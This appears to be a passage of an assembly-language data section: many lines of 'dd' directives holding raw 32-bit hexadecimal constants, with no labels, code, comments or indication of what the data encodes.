dd 0C0007503h, 0DCA7A6Bh, 0CD74D935h, 7221EC60h, 0EB2D6Dh
dd 46EFA3Ch, 8F76548Ah, 12261D09h, 230810D3h, 4BF2007Fh
dd 83CFF6Ch, 2803B788h, 83BB59D0h, 73293A3Eh, 8FECD14h
dd 77A11900h, 825CD008h, 0D0BF2A27h, 0A207318Ah, 0C478FF20h
dd 2C0163D3h, 0BB966F9Dh, 4891B650h, 785A806Ch, 4364D165h
dd 69022283h, 0A28068FEh, 65BADE06h, 80607524h, 83297340h
dd 2D820EAEh, 0E4755FB7h, 0C4B2FB00h, 334D4459h, 195563Dh
dd 0C0047C53h, 34D52D3Dh, 15FBB2E4h, 0C0878B3Eh, 3FE35400h
dd 1DF63089h, 7BADCA1Dh, 0A101D880h, 0FBDE95Ch, 734EE0E5h
dd 0A9278C80h, 0CCA13E20h, 8E2183Ch, 0D26BC12Ch, 716570h
dd 863F4E2Dh, 2C188AB3h, 81F1C00h, 2B155D63h, 0B8F91971h
dd 0FC2931BDh, 6702FBDAh, 23F5BF5Ch, 174048B6h, 0EAB024EDh
dd 9D308814h, 70666144h, 0DA68740Ah, 0A69148CDh, 2DC97600h
dd 604DD74Fh, 460CC014h, 0FE7A1490h, 7A8C7C70h, 6BE5146Eh
dd 988828B2h, 2DC64980h, 17CF4D7h, 1B2987CBh, 92FB34F9h
dd 43EA3A1h, 21008C70h, 38DD3F59h, 48256C85h, 0C284CC48h
dd 9A09308Ah, 0AA4510AEh, 6A2FC4BDh, 3C00D808h, 33E39F7Bh
dd 6F930040h, 0DE1092C7h, 821DCA08h, 0D7C0BE3Eh, 0ED0ED05Ah
dd 0B4B95409h, 38CCA49Ah, 0B2A6D136h, 71160960h, 0C28D9884h
dd 172010BCh, 0D4B7FAC6h, 9C092099h, 0F907EA85h, 2CE88057h
dd 7B09F76Eh, 0B4D594h, 0BF403C48h, 1258B03Bh, 1AFD88Eh
dd 0C8382AA6h, 0A4A83056h, 587FB93Ah, 0D05D0060h, 0B792ED76h
dd 0F030302h, 355CE831h, 847B4006h, 158AED1h, 0F4ED809Ah
dd 31B34CB6h, 0AC9C027Ch, 589A8833h, 0B23A213Eh, 0EDC8895h
dd 9B6EDAh, 0D658C9B5h, 4C21121Ch, 2F2484FEh, 723E8h, 0E668D194h
dd 3A03377Bh, 8B799E4Eh, 0A9100C5h, 163DDFA1h, 0FA001C5Bh
dd 436992E1h, 91F7BD46h, 1A9E0090h, 0F6C7BBC8h, 2557EE00h
dd 0A0B28D24h, 39AD300Bh, 9A95BE91h, 78381958h, 7C54032Ch
dd 62611Eh, 3DC7E0DDh, 0E0FC8D3h, 97A00D00h, 0C1CE8C67h
dd 0B0CCA189h, 2900E8C1h, 6E03AD68h, 7DA898EDh, 0B3F805FCh
dd 3D65E820h, 0A732D020h, 93950E86h, 72424723h, 0A0B171A3h
dd 0D03060ADh, 22A07C56h, 641B13CDh, 51350178h, 207995C6h
dd 0A541ED1Ch, 0CBA13463h, 9E90C39h, 8693DABh, 625AB80h
dd 0F601D209h, 91447B42h, 0A8911431h, 1A089CAh, 8474D01Ch
dd 20035452h, 377867FCh, 16F67500h, 9DA4CCECh, 407A62AEh
dd 948052FEh, 3553656h, 0C0CD7C00h, 0DBB9605Eh, 0C44F00DDh
dd 4E046F91h, 80928C34h, 14E1FC8Ah, 46518AEh, 0A45AA9Bh
dd 0FC2CBDh, 0F12D9B35h, 22E389F6h, 0A4D5DE00h, 3BE22998h
dd 88E4A0A0h, 1951C0BFh, 599073A7h, 62AB8400h, 17B8A451h
dd 4084AF3Ah
dd 0BE8B8A09h, 6F3361C0h, 1C949C44h, 476DBFB7h, 80C39936h
dd 0C4D89B1Fh, 5B601C90h, 4C395AE8h, 609018h, 45F1DE44h
dd 0A6165FC3h, 1AC9DA00h, 392C1150h, 9A841E88h, 96878037h
dd 7A016ABAh, 0A8B3D001h, 0A9C2FF7Ch, 3BB28AE0h, 0DA001140h
dd 8D735305h, 64009C7Eh, 45BC37ACh, 0F894C0h, 3A29B888h
dd 1222C538h, 4EAC30C0h, 0D90AD0h, 23DF45C6h, 41A80993h
dd 5084CB1Eh, 0DEA32930h, 0FA500FAh, 0C6C0A7F5h, 0D9004C60h
dd 0DC30C890h, 35B896h, 87A854E5h, 338A29A1h, 0B91919C0h
dd 23D65h, 162118B6h, 0D3F0996Ah, 6F1D8D02h, 8E1AD238h
dd 0D516C034h, 183B630Dh, 181309C3h, 8C12DDEh, 9AB5FF23h
dd 0A29FD0h, 6F815058h, 0D475DC60h, 9D208B00h, 210DE3E9h
dd 94D13CFBh, 91F87FB0h, 9903B684h, 0BE574BC6h, 4A51188Ah
dd 11120883h, 7E428907h, 4730DDCDh, 7F9F2217h, 84FF5426h
dd 9240949h, 75D3D87h, 0B1719DF9h, 22E42D5Ch, 26E0009Bh
dd 256D11E9h, 0A50784CCh, 0A74BDF38h, 0D0FF40EEh, 0D1CE7Dh
dd 1279F4A1h, 40356B6Eh, 0C9A2B600h, 0EA0C8FD6h, 2DBF0EB1h
dd 967F73h, 0C31E4728h, 0F30312D5h, 0E3167759h, 0BC41A156h
dd 0E65D2080h, 27493FBAh, 0C6D46900h, 243CEA86h, 0D19C0060h
dd 54FD43F0h, 0FA727D1Bh, 0C05F9D03h, 0E01CE777h, 0DEA332EEh
dd 39DE0248h, 877FBF38h, 0F9DE9BDDh, 218FA608h, 33751F5h
dd 7C65ED0Bh, 567A10Ch, 0F1E16059h, 61C41906h, 52303D8Bh
dd 1A23EC38h, 0FDAD0839h, 8E00FE16h, 0BB743689h, 7091033Ch
dd 209DC6EDh, 6A583Eh, 0FD5247E9h, 6732EA7Ch, 0C1181863h
dd 3557E29h, 4485E18Ah, 0A4ECF0h, 0F7BEE790h, 10F62656h
dd 1D62AE7Ch, 696229h, 0AA70BD18h, 2D2B2F01h, 590325EBh
dd 5375C8h, 27828FD7h, 4F9F89FFh, 0E6AF1D01h, 9EE1A419h
dd 4E01094h, 4EDB2081h, 8FE8F050h, 0E3960600h, 0E62EC1ADh
dd 0BE371690h, 20A90125h, 84FE7ED7h, 0ACAD7728h, 8F18D0Fh
dd 8180658h, 0A48C7C33h, 843951B5h, 4F14B150h, 8164284h
dd 39E73605h, 0B22CB22h, 0CAB60063h, 0A9FAE4DFh, 5B0EB30Dh
dd 0A08C138Dh, 27F3B58Bh, 37523FEDh, 0F270F901h, 0F821FF95h
dd 0E00D289h, 7D8D5EE0h, 0A8FD29h, 28F0D671h, 0E8BE23F6h
dd 0F3D5B200h, 9048E733h, 0D9F0015h, 864C174Ah, 2E00BFF1h
dd 334931Eh, 5F1A63h, 56577F81h, 0B66732B3h, 6F3ACD1Eh
dd 1CF290C0h, 5FE899h, 2E95CCFDh, 2318546Bh, 83BF5938h
dd 0B9FBA2F3h, 0C731C837h, 0D4B72ECBh, 865900DCh, 0A5F5D95h
dd 8ED85150h, 0F3645E01h, 22CB6928h, 7C957FCh, 6DEA91A8h
dd 0E0FF20E1h, 0E03E41Fh, 73EDAF9h, 7A1003C6h, 2772F09h
dd 64227080h, 0C481E000h, 0D54F13E7h, 0D2230006h, 65BA014Dh
dd 6212402Bh, 0C01550Eh, 75E2447Dh, 3658FCh, 49A82476h
dd 0AB2A8AF2h, 4E517103h, 0E83B4720h, 33212Eh, 0EDDFCD9Bh
dd 8692A556h, 62AAF703h, 0D0F65EE2h, 0EDE141D7h, 988DFCh
dd 0A42F48BEh, 0E75F4B06h, 8203AD00h, 0D4ACB997h, 0E3D90081h
dd 0D0260ED8h, 0BE01CC72h, 93C373BAh, 0A440F4CAh, 48D967h
dd 1EA7CB63h, 0FD083A0Eh, 0FAF8A0Fh, 0AC678027h, 3371Ah
dd 0A4BE2520h, 564368FAh, 0CAAA2807h, 3C409653h, 7CB679D8h
dd 800800E4h, 0B443DE68h, 0EB0048E0h, 38CC85C3h, 0E26F154Dh
dd 8670000Eh, 9EE651FCh, 100B58Dh, 0D0693E44h, 3DCAFB75h
dd 0EF00CC2Dh, 6CB8B716h, 8E07D69Fh, 0DF1FABC4h, 0A27C5701h
dd 7AC8F60h, 1840766Dh, 0A0D71054h, 0E207E1D2h, 0AD2E1067h
dd 35A25660h, 0F74F4836h, 0A3865201h, 0E80CD057h, 9C161E5Dh
dd 4AAB8D2h, 8003A043h, 0A473400h, 9E221001h, 40573D6h
dd 2FDEC02Eh, 9400E865h, 0D734DEBBh, 2883B345h, 0E8DF06h
dd 80DA5FEBh, 5D39A9A6h, 85C8CA01h, 68B58CA3h, 907EF230h
dd 3F510920h, 298034C3h, 4C16440Fh, 24107A26h, 0BFFFC580h
dd 20A25D6h, 0D7A75D99h, 10401E59h, 0FBECD21Ah, 841C5103h
dd 0D8C280E6h, 0F2F825h, 0EB70E5A2h, 1E65AC75h, 0C5AE4F00h
dd 64C4C1D0h, 0DAF8005Ah, 0E40CEFCCh, 0FD1F3894h, 22004F21h
dd 0E3F593F3h, 0BE3E3B17h, 8BEF0C00h, 0D67086F1h, 0CDB30E00h
dd 0AA13518Eh, 0E94F00B8h, 1B17E2C3h, 6B0083FFh, 45234B6Fh
dd 9BB738h, 5C732CCEh, 2002E286h, 35C0B100h, 0F131E07Ah
dd 79627034h, 0AB4B2079h, 216C0B00h, 4D6AC713h, 593600F7h
dd 0FBFE5740h, 0C200035Bh, 0AF2F0F77h, 1F335854h, 64D919AEh
dd 0E81E30B0h, 0E2000D75h, 0F6A6F105h, 0F2D9172Ch, 377BD6h
dd 25028A62h, 2FBBCD04h, 0E400B9EEh, 0C36F664Fh, 272037h
dd 0C4A42A3h, 0C173C05Ch, 68BB911Fh, 1F72AA40h, 0F6564674h
dd 1F3958D6h, 69AC280Fh, 503D97E0h, 1C003329h, 606B1DE6h
dd 3E729Eh, 0F5A7CC68h, 0EA814B49h, 0FEC1C700h, 0E32DA421h
dd 0A0E7030Eh, 0D840B944h, 70E67AC1h, 0B300B0CEh, 7F3F2315h
dd 9D272E5h, 64227A5h, 0DB550C02h, 0C0AD544Bh, 0D180D793h
dd 0A60042F0h, 321BAF13h, 1C26D44h, 0FAECCF6h, 208C49DBh
dd 0EC077B10h, 0CB453947h, 42593210h, 0D6F20033h, 519A0846h
dd 68006040h, 1D3A3441h, 2402B7CAh, 1348E214h, 7C9821ADh
dd 8F06DCD3h, 64D28500h, 0EB394D4Eh, 0D0F001B4h, 2BFD4505h
dd 0B153F0EFh, 0E31D4203h, 0E43F24h, 5DEB7990h, 8419F598h
dd 0A4A0B198h, 430FBEB3h, 0CF4C9Bh, 0C5CDD302h, 0D6580328h
dd 45B52E96h, 0D56F2390h, 0D000DBB0h, 2CDE8660h, 3948127Dh
dd 0E80AAEAh, 272343B4h, 654EB5E6h, 2A834C80h, 5930021h
dd 55D0B217h, 0AE0026ACh, 8DD5D1F3h, 0B65256Ch, 7548E9F8h
dd 0CF537800h, 0A900054Ch, 0AD36567Fh, 9D81D3h, 6E3360F8h
dd 6C9128D4h, 0C1D5400h, 0C510CFB9h, 0F55F0027h, 0D2371ECh
dd 600B318h, 0F1461773h, 7A8F3Ah, 0DAFA01ADh, 20AE72EFh
dd 0D224E700h, 6A3BF47Fh, 34B86398h, 5080B582h, 2698CC2Bh
dd 0E39D6200h, 0B921887Fh, 56906Fh, 0B1C8B36Ch, 65F4C92Ah
dd 1457D900h, 3BAEA0C0h, 7C5E0174h, 0E040235Ah, 765FEC53h
dd 78A3DF00h, 0CAC891A1h, 0F9CC00CDh, 0FE42442Ch, 0D40FECB3h
dd 0CFE9A7DDh, 5585E04Ah, 61453Fh, 882A8117h, 82B6780Dh
dd 0F6C6E100h, 8D7DDF05h, 0E6A700F0h, 6771AC33h, 59E0D44Ch
dd 0A26F70C0h, 0A32AE0h, 98357EF9h, 0BE88A612h, 9D60BF1Eh
dd 8FF7F040h, 1D97C194h, 40F9E3ECh, 0EE863A5Bh, 0E7F00CFBh
dd 9566E900h, 9A549245h, 4F401FEh, 7D1562D8h, 4F5BD4A0h
dd 2B96BB1Eh, 3C28C030h, 0EA06789Eh, 15D21F0Ch, 0C04800B4h
dd 0DE01D89Bh, 38298806h, 1909455h, 0ED41397Bh, 0D002D32Bh
dd 6C09E4DAh, 2CFD428h, 6078FBDBh, 40C1C7h, 0BDA6B93Fh
dd 10E13365h, 44B44900h, 9C9A0FB8h, 0C24D0060h, 0F10BAD2Bh
dd 0EA04DA8Ah, 8B5BE37Ch, 238636C0h, 37670046h, 0E1B4D56Dh
dd 5E00D865h, 944451D9h, 5A3B8DFh, 0FD5C2D60h, 0FBAAC4Bh
dd 47E43138h, 6350A021h, 654391h, 0F01781D6h, 0AB06DF0Ch
dd 0C1FE2B1Dh, 0CCB2E700h, 3D0E030h, 0FF8190DDh, 37E87228h
dd 5000277Dh, 0BFCB7347h, 5BF3AAh, 0C9010AACh, 26D81B82h
dd 0B1ED6C03h, 0A063D472h, 8DBB10h, 9B9C4B2Ch, 0B9D105CCh
dd 47E07300h, 13D6B39Dh, 268E00FCh, 0E8B107E6h, 44FABFFBh
dd 151CEC00h, 0A4FCB9F2h
dd 51F1004Ah, 9F03543Bh, 0DF7821E4h, 0A6FEF0Eh, 0C74EE0D4h
dd 7AD5F81h, 43B54759h, 0AF5430E5h, 0D20CD57Ah, 0C0388A03h
dd 384A7A4Dh, 0F3045F5Bh, 803B8B54h, 618186CAh, 7740EE00h
dd 4FFE87E3h, 64F400F5h, 0A2CFD229h, 0EA0076A4h, 3F6B2AD5h
dd 2237A3h, 875BACD3h, 0FD9BF129h, 0C0B26E00h, 0FBDAB113h
dd 9CCB1752h, 422D0077h, 12B81CC6h, 0C36E9200h, 2264D033h
dd 0E74E3F4Bh, 24C4B98Eh, 80B25020h, 0C10007EFh, 190EF156h
dd 7B363F68h, 12B90074h, 3A5FA396h, 0C1E8DF39h, 0AF615200h
dd 1FB20FDEh, 0F117003Ch, 8D6EB568h, 20F7BDE2h, 1C1440F8h
dd 0F0BA0Dh, 25F95D3Ah, 78FD829Ah, 98EE001Ah, 0B0468A5Ah
dd 0BE00AA0Eh, 0F419E212h, 0AD0A4EDh, 0EE9CA0B1h, 0C76405F4h
dd 59DD026Dh, 9C808AF5h, 3DC57C84h, 0A4879B00h, 0ADDF5C29h
dd 0DBA900F2h, 0DC3330D8h, 0BB1C2636h, 0BC83C732h, 0E8814C1Ch
dd 44A87Ah, 0DBC24008h, 9E2E76C0h, 5079EF00h, 0BE2FD0A1h
dd 0B9980020h, 35B13A66h, 3000035Eh, 92845F0Ch, 26EAAA8Ah
dd 0AE31F2h, 65F9AC21h, 3D78BD42h, 7241B700h, 27891A12h
dd 7399732Bh, 86EF0316h, 0FE8E0FC0h, 97054AA0h, 0A2BCBA00h
dd 17EDEB8Bh, 2890021h, 0D3D12D6Dh, 7B004E53h, 0B2992445h
dd 51925C81h, 8CECACB5h, 1A700068h, 9B095215h, 30013917h
dd 0E633FEF1h, 0B040D2E1h, 0E092FD64h, 275F0091h, 6B74B267h
dd 0F6790DE4h, 46CD2900h, 8BFCEAFAh, 81400064h, 0C54548E1h
dd 0EE38C287h, 0E28E802Bh, 2064A407h, 711601BDh, 58F2FD91h
dd 76B440B9h, 4AF8CFEEh, 8D31B500h, 8382C625h, 0D4EF2C9Dh
dd 338B3E9Bh, 8F033FA4h, 15C0227Bh, 0EF00892Eh, 25343BBAh
dd 34EF093h, 2A8970Ah, 0C3CC0E49h, 0C6B8B56Ch, 1000CB37h
dd 0EC3848C4h, 2C235621h, 73B26h, 0B06609A5h, 1100B6C9h
dd 1546C336h, 2448D78Eh, 3D44C10Dh, 2784ACh, 0AC1E44F0h
dd 6F00E83Ah, 158B1B4Ch, 1D3CB2B6h, 8FABBFAAh, 1C031FEEh
dd 0D08945C2h, 9DC0201Bh, 78A6C016h, 0BBD8FD00h, 4D1B361h
dd 1C9AE302h, 0E96C906Bh, 1748A33Eh, 95FD0349h, 0A02DED8Ah
dd 917248h, 0DB9287A9h, 500906BCh, 2983D100h, 394908F0h
dd 52AFA0F2h, 0DC5C1E4Ch, 627A80C2h, 385FF8A0h, 6BFF6C03h
dd 0F0605137h, 0A4A14Eh, 6DCCDB68h, 83F4F3B0h, 2BE44D07h
dd 41015C4h, 0EF0AFEDFh, 0B03B8040h, 81794C4Bh, 57841000h
dd 91B4047Bh, 4808C900h, 70BFD027h, 0CB1B00A6h, 0ACF2DC0Dh
dd 2E1D3269h, 0A140F5C0h, 0DFA7BEE1h, 0A91B003Eh, 0B762F10Fh
dd 300EE9Eh, 0FAADCFD5h, 26CE8DF7h, 8000BFB1h, 7912469Dh
dd 7A005E25h, 2B82C819h, 0CEB305h, 0F36ECCEEh, 287F91EAh
dd 0B1618A00h, 6B9AB241h, 0D57216h, 3908C883h, 909D6346h
dd 0CE939503h, 4C0F002h, 4DD08060h, 0F0D80AEh, 980046B5h
dd 0E94FA988h, 1EAF84F1h, 406B41FBh, 7BCF387Ah, 8E018BB0h
dd 0E25855B6h, 66FC34B1h, 0BAF60F88h, 99AF3248h, 0FCCAA83Bh
dd 634AEB40h, 28879C00h, 340E1184h, 3ADA00C7h, 5348ECF2h
dd 150E392Fh, 205CEE03h, 38948DE2h, 0FAB518F5h, 0E385C09Ah
dd 60F18914h, 4A7113CCh, 33CD8501h, 0EAF8693Eh, 0F51900BEh
dd 211046BDh, 4707351Eh, 1CC91F3Bh, 0E6F80049h, 9893AB14h
dd 16733CF5h, 804B329Fh, 4E7B8990h, 621E556Bh, 72C5F604h
dd 0F800B9DAh, 0EDFB0725h, 87CC096Dh, 340048B8h, 468886FDh
dd 926024h, 8D4A9700h, 90905EEh, 1FF4CE94h, 0EDDA1C20h
dd 0E7728E0Eh, 256403Bh, 3BF72E2Bh, 183068E3h, 0EC211E36h
dd 166D81A3h, 0D07BD1B2h, 577D9B32h, 7527CA00h, 0C8D56F4Ah
dd 7A94C017h, 0BC9246B7h, 68BF5630h, 7E4CB0FBh, 54970FE4h
dd 9960175Ah, 7606DEC0h, 0A616A100h, 5AC8CE9h, 10A76024h
dd 9AD53263h, 59F86701h, 8D843361h, 350C8FCh, 40CBAF6Bh
dd 6007EC80h, 6685DADFh, 4239D311h, 589FF3CCh, 2D00A8A8h
dd 0CB272874h, 0B200A66Bh, 6F080292h, 1E06E84h, 5DE3C6A4h
dd 6041B35Ah, 5B00F144h, 338C7D4Ah, 0F7A3DFh, 0A17434A9h
dd 46E58336h, 717EFC00h, 706BF3B8h, 9A28004Ch, 4BAF5D07h
dd 0E8A06E3Ch, 58707DE8h, 0C7BA7900h, 0E131578Ah, 5C3C002Bh
dd 0FFFBC307h, 217F8ED0h, 0F0B4BF00h, 0CDF2A889h, 5A8D262Bh
dd 6D94014Dh, 0C9D9B69Eh, 0DD77F074h, 9800A77Ah, 144DDBADh
dd 7DFA6C6h, 0AB95B1BDh, 0BE4F3066h, 64055718h, 0B3E29C77h
dd 2D3A70C0h, 0C1EEF2h, 171009F4h, 0E97D1CA2h, 5C9CC003h
dd 0A112B45Fh, 0BC60BC18h, 0BA4A0279h, 0A64AED7h, 0D0F90440h
dd 0CE05C20Ch, 6C1001h, 0CA16BBAh, 0C357E69Fh, 0AEDCF6C0h
dd 79EEBCFBh, 0E0960076h, 1B3F4424h, 0B6740686h, 0CEA1F600h
dd 1C37E39Fh, 0A61E00DBh, 0F23C40CDh, 0F000BA8Eh, 0ABC48BD2h
dd 3EFADEE0h, 720FC871h, 372F5851h, 0AAF04BA0h, 407DA98Fh
dd 86A17900h, 0E668C91Ah, 0A44E0466h, 0C0FDF5EAh, 0CFA6151Fh
dd 287C8706h, 108286h, 8A7F7B0h, 3290966h, 63337D12h, 0EEDF2802h
dd 0B9E002E6h, 0F24E5845h, 9AB5140Ah, 8321A000h, 117AD12h
dd 1CFA135Fh, 0DCF96776h, 0B4008480h, 8819E9DCh, 1F1CF07h
dd 0B7A4B31h, 345D1C0Eh, 95EE3000h, 0D684F900h, 0D246B902h
dd 56F40B3Dh, 40305E92h, 0EE1E5DCFh, 0F5409860h, 0DF9ED904h
dd 0E7B703A2h, 0C68B6746h, 7C10ECF0h, 0C4F98328h, 55C0E650h
dd 87093600h, 29AD7E8Dh, 833203E1h, 9AECBC0Dh, 0DE9347C0h
dd 6EEBE1Eh, 1D554887h, 4C620480h, 36D40082h, 74C3DB5Ah
dd 61008C35h, 0F5C9DF0Eh, 0BC6D79h, 0F70532E7h, 0BD315352h
dd 37ADB400h, 0F24A3480h, 0D3AA00B5h, 0DB97AF77h, 993B74D2h
dd 0C6B48F4Fh, 8F04605Fh, 10FE626h, 0F975F0E9h, 0C8312D6Ah
dd 112C1B83h, 9340DC04h, 1E0EF3FDh, 1E0A58h, 1D7B16F7h
dd 0BF0E78E9h, 4030E194h, 2D2BB04Fh, 0C2ED00F6h, 0FC7AD572h
dd 0F8B03893h, 0DF124AFEh, 0D0044227h, 0F7C7C3E2h, 7F2860C0h
dd 2D5A03DEh, 8EFD5C63h, 883ED8F0h, 19C52600h, 91875039h
dd 8586127Ch, 0DB9800BBh, 0CD35AF12h, 0CFA80913h, 9A8BF700h
dd 304AB9h, 4B8DA6EEh, 359E336Eh, 0E74EDD03h, 0EF170C48h
dd 0D145FFF1h, 2352C840h, 89D2265Dh, 0F67F04A0h, 622B00C0h
dd 3D8626FAh, 5B93CE08h, 7FDC20F4h, 0CC13FB51h, 6000073Bh
dd 39523810h, 0C0B0ACh, 7D1BD4C3h, 0FD132178h, 7B00C57Fh
dd 0A106A0DBh, 861476h, 3B3D42EDh, 5568CE5Dh, 7678EC48h
dd 6FDC2402h, 4802D00Dh, 13A0AD98h, 5476E7Fh, 813B5CF8h
dd 8059E336h, 0A18E0A10h, 0C2C49BAh, 5A15F4A5h, 583E1218h
dd 1E4A8704h, 0A2505BB5h, 90B43596h, 0B67CA4h, 0D979C41h
dd 26EAF1F4h, 5AB7BB01h, 8EEEBF37h, 3F5D4AC0h, 8280154Eh
dd 0D9F2AB52h, 10C0261Fh, 2161B9B0h, 870428F0h, 0DCBA0090h
dd 62D304Ch, 277985E1h, 1A45F31Eh, 2F1DE40h, 0E01E82DBh
dd 0BD0B00C0h, 947D3425h, 59007593h, 0F0C92E56h, 7E40FB8h
dd 7AEFB4BAh, 0D420498Dh, 0A7213EFFh, 2B3A2E01h, 8B1DDD5Eh
dd 62E4B4D1h, 7223F6BDh, 6F5700F4h, 6738AFA7h, 0CC3A1286h
dd 848F809Eh, 3FCFE556h, 246AE2EDh, 8E50FD66h, 70B0DEAAh
dd 68D35Ch, 6A6564E6h, 0FC814363h, 0C05D00C3h, 0D02E9E01h
dd 230F3DAAh, 0D32CDBDEh, 0E2431040h, 6FFF81E8h, 48299053h
dd 0B639D0C0h
dd 6A384C00h, 0F9FFED84h, 1FA701F8h, 3E80B72Ch, 5E0F6050h
dd 0A30B5704h, 44C0CB03h, 6E1047h, 6359E93Bh, 16D735E3h
dd 3223FC07h, 11E348CAh, 0D4469086h, 3D2007Ch, 2CD57DA2h
dd 0F500F46Ch, 47B79122h, 711EA3Dh, 0BA892308h, 7F365084h
dd 0B6008AEDh, 92F6D628h, 0D38DE9h, 1E5A9910h, 389EE205h
dd 2ADADE12h, 8B11C40h, 4A279Ch, 0BC16FD18h, 4B1B11BFh
dd 219A451Eh, 11D3558Ch, 768D12A0h, 829C0319h, 3A593C0h
dd 281534E0h, 58507DBAh, 4B00B77Fh, 93E6C74h, 48DD6E96h
dd 7127D1h, 0D32B7A35h, 0DAC174Ah, 7089F700h, 0D5447821h
dd 0CBF50045h, 653B22B1h, 2800A002h, 9E5CDF6h, 49A78D67h
dd 2700E07Ah, 2DD4B53Dh, 2EF2CBD2h, 71B02A5Bh, 9CB42Bh
dd 0CC0C3CE6h, 0C54C7240h, 0A7B20684h, 0F41C913h, 9274DC41h
dd 4E75F4E0h, 0D0C0C1FAh, 0E7E50467h, 0C5DD0022h, 982D4A96h
dd 0DC009C63h, 0F273B31Eh, 0E40BEBDh, 0D10C7D6Eh, 6FEFA040h
dd 0FE0989CEh, 6BBE8h, 0F2351704h, 6A46007Fh, 85EE2A65h
dd 0EF008DACh, 0BA912ED7h, 0C02BBD95h, 74DBE219h, 2C1C3D45h
dd 0CB8141C5h, 785D2FEFh, 0DFE7ACF8h, 70FD94B8h, 1A7D2903h
dd 7CB88FBBh, 0E500B2E2h, 7651879Eh, 2BC6D0h, 0E9E4C5BEh
dd 0F3E331DCh, 8066093Ah, 15FD5BCAh, 0D126Fh, 322C39EFh
dd 6745EB07h, 6E4FE20Eh, 91D883EEh, 1DEE306h, 0AF768971h
dd 8021CB61h, 5BECB110h, 99D5Ch, 47BFF1C6h, 8D731F9Bh
dd 59F01C00h, 3EE026E9h, 8050098h, 140C326Dh, 0DC07E6CBh
dd 45CD18F7h, 88516446h, 923B07CCh, 39DA002Ch, 6F6CD4D7h
dd 590C3676h, 0E1FD4DB9h, 31350008h, 6C0F9925h, 28C8D379h
dd 5F234272h, 52211124h, 4E5190AAh, 485C8684h, 9FDB42EDh
dd 0CD220A24h, 0C408E911h, 8B66E344h, 35E840B7h, 54077F32h
dd 339DC1A7h, 0B22E2D30h, 4054EE6h, 0C3A94FA0h, 6FA0304h
dd 915CA8D2h, 7D38132Ch, 535A3300h, 0E4C2D36Ah, 86EF0B02h
dd 9C23D779h, 1800CA24h, 19C329EEh, 76C73FBh, 4C545FEBh
dd 4200190Eh, 9FF79248h, 16BCFD00h, 318B197Fh, 42410055h
dd 5288EB2Dh, 7E0373C9h, 710DB7F7h, 0DA5FF8FBh, 99E20021h
dd 0F87F7C44h, 911249EDh, 0F00068A2h, 75120945h, 1894F271h
dd 182E96E0h, 893F2D79h, 0EF990007h, 0B2B8153Eh, 63D10372h
dd 0E2C6E387h, 0ADEB8998h, 96A7E500h, 0A6A2DA60h, 0E01838E4h
dd 6EA1CA00h, 32449264h, 6F3DC8E0h, 0EC50071h, 0A3194245h
dd 0DE8D0408h, 80B0B44Ch, 3F8A9C18h, 244D5500h, 4ECB6FEBh
dd 10710335h, 0CE2609B8h, 46D2D4C8h, 8F82861Dh, 0AF0F0D80h
dd 0C15FF1h, 783E7C96h, 7DB3A28Ah, 57D87A00h, 19A7DD70h
dd 70A84B3Ah, 0AEA62DE8h, 0EC076A4Ah, 9520E3D0h, 534374h
dd 0A971D799h, 45277ECFh, 6AC33E07h, 259063A8h, 5ABD5102h
dd 1856A82Ch, 0D1C061AEh, 6DF80074h, 0BAE09FC1h, 0F909A17Bh
dd 40251AE5h, 3CE7728Ch, 6C00FC37h, 0D447AF8Ah, 2C3C3602h
dd 4B2118FFh, 0AD5C10h, 516B32A7h, 8EE11379h, 61008C76h
dd 4B2AA1FFh, 9EE55h, 0A285F946h, 0C62D2E25h, 8467991Fh
dd 89CBB0C0h, 711CF8h, 2ED64717h, 0ADCECA69h, 0B01D092h
dd 8A6D063Fh, 0B0CCBFF0h, 0FDF400A1h, 44CE4A40h, 0EF009E73h
dd 0FF85638h, 1084FE1h, 0ADB65A03h, 82722893h, 0FF124520h
dd 0A227E0D0h, 3A49E26h, 0EDF25BA8h, 618A2380h, 58653Eh
dd 1C41DC5Ch, 0F852AA1Ah, 0B3F90ED2h, 0AE26262Bh, 0E13D502Fh
dd 141700B7h, 5FB551ADh, 74E400F7h, 4D711B22h, 43135C39h
dd 0CE079229h, 0FC207AA1h, 0B8EF6456h, 0CCEC011Ch, 19E38D83h
dd 0B786E02Eh, 45D46301h, 0BEF236DBh, 0F6BA2720h, 308101B8h
dd 99D0A486h, 0F30470E7h, 7E4CBD00h, 987D56E2h, 902E4C4Fh
dd 0F46BD600h, 2F9FEF81h, 51F15000h, 0F2397D0Fh, 79277B5h
dd 4BB24A16h, 52DD108Dh, 65006236h, 85BB87E4h, 34C2FCh
dd 46A315C1h, 98F7973Ch, 83000498h, 0F85B7F3Ah, 0E8078B26h
dd 0C0BA4837h, 0C9239800h, 0B2A42886h, 0B42AD100h, 88B1070h
dd 5C11003Dh, 0BE329107h, 7B002CC6h, 0A91E60D0h, 0EF80A0h
dd 4A920DC7h, 911BDBAFh, 0B3BB1900h, 15C3F358h, 0C52813EEh
dd 0DF88C051h, 4101FBADh, 8F95D8F6h, 5C20A93Ah, 10451DACh
dd 80F20013h, 9AA02D19h, 0EB0061F0h, 3F66D8A7h, 0EC71820Ch
dd 98AF1329h, 0F2FC0328h, 5F8B9CA1h, 4BE9611Ch, 5D74FB40h
dd 0B839A87h, 5A6FD430h, 0DBD0FC40h, 90E0B50Fh, 76CD00C4h
dd 3F971143h, 580A958h, 0B8FC8616h, 0EC005707h, 48B23156h
dd 30770B8Fh, 0CF2A5D13h, 36001C92h, 6476275Ch, 0F54788h
dd 0F161609Dh, 2B95ADA4h, 0EDC24D07h, 0A160F3DFh, 49D176h
dd 2341D577h, 0B37DA46h, 8FD3420Eh, 35419D83h, 40E3D99Eh
dd 73C9B4FCh, 0DE9B00CFh, 3967B5E2h, 0D500F511h, 8CD98332h
dd 3D7563A2h, 0C0051762h, 0C02BE9C1h, 39BB1B9Eh, 26D8C80Bh
dd 21800D6h, 0F203B553h, 0F94800F8h, 0A78BC355h, 0FD00CAC0h
dd 0BE87124Eh, 6E1B79h, 0D423181h, 436928DFh, 0FE0B6B02h
dd 0E04A4157h, 1ED6E0FFh, 8F04B610h, 3F40F531h, 0D1B1E44h
dd 0FBCBFA03h, 82C5C1B5h, 0AD9881BFh, 0A8E8AE19h, 487E94h
dd 87230D29h, 13761B18h, 0A28FFC2Eh, 0F7C21200h, 0CFD498Bh
dd 0F9B7ABC4h, 0A9073840h, 9973C842h, 0C39CF600h, 674100DAh
dd 75047E50h, 91000AEDh, 3F73C6E7h, 0CCAA9Fh, 39ACDC08h
dd 31E32C3Ch, 0A544E000h, 5F20285Eh, 0C7C83086h, 70D32218h
